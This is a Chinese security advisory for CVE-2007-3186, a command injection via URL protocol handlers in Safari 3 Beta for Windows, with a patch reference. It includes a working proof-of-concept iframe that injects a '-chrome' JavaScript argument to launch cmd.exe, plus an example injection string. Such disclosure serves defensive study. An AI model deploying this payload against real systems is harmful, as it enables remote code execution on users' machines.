Apple Safari for Windows协议处理命令注入漏洞
发布日期:2007-06-12
更新日期:2007-06-15
受影响系统:Apple Safari for Windows 3 Beta
不受影响系统:Apple Safari for Windows Beta 3.0.1
描述:
BUGTRAQ ID:
24434
CVE(CAN) ID:
CVE-2007-3186
Apple Safari是苹果家族操作系统所使用的WEB浏览器。
Safari在处理URL参数时存在漏洞,远程攻击者可能利用此漏洞控制用户机器。
Windows平台上的URL协议处理器在运行时会以特定的命令行参数执行进程。Windows平台上的Safari没有对这些参数执行正确的输入验证,因此攻击者可以绕过预期的限制注入命令。典型的URL请求,如myprotocol://someserver.com/someargument,会被转换成以下的命令行重组:
“C:\Program Files\My Application\myprotocol.exe” “someserver.com/someargument”
但这还不足以向命令行传送任意字符,还需要借助URL转义,将myprotocol://someserver.com/some"[SPACE]参数转换为:
“C:\Program Files\My Application\myprotocol.exe” “someserver.com/some”%20argument
转义后仍无法攻击Safari,因为所执行的命令行是无效的。但如果通过IFRAME单元处理这些请求的时候Safari就无法正确地验证输入,例如:
<iframe src=’myprotocol://someserver.com” < foo > bar | foobar “arg1′></iframe>
会被转换为以下命令行:
“C:\Program Files\My Application\myprotocol.exe” “someserver.com” < foo > bar | foobar “arg1″
因此可以在Windows平台上对整个URL协议处理器执行攻击,通过telnet或callto协议向参数提供未经过滤的输入。
<*来源:Thor Larholm (
Thor@jubii.dk)
链接:
http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html><body>
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,{},0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html>
建议:
厂商补丁:
Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.apple.com/safari/download/浏览次数:3579
严重程度:0(网友投票)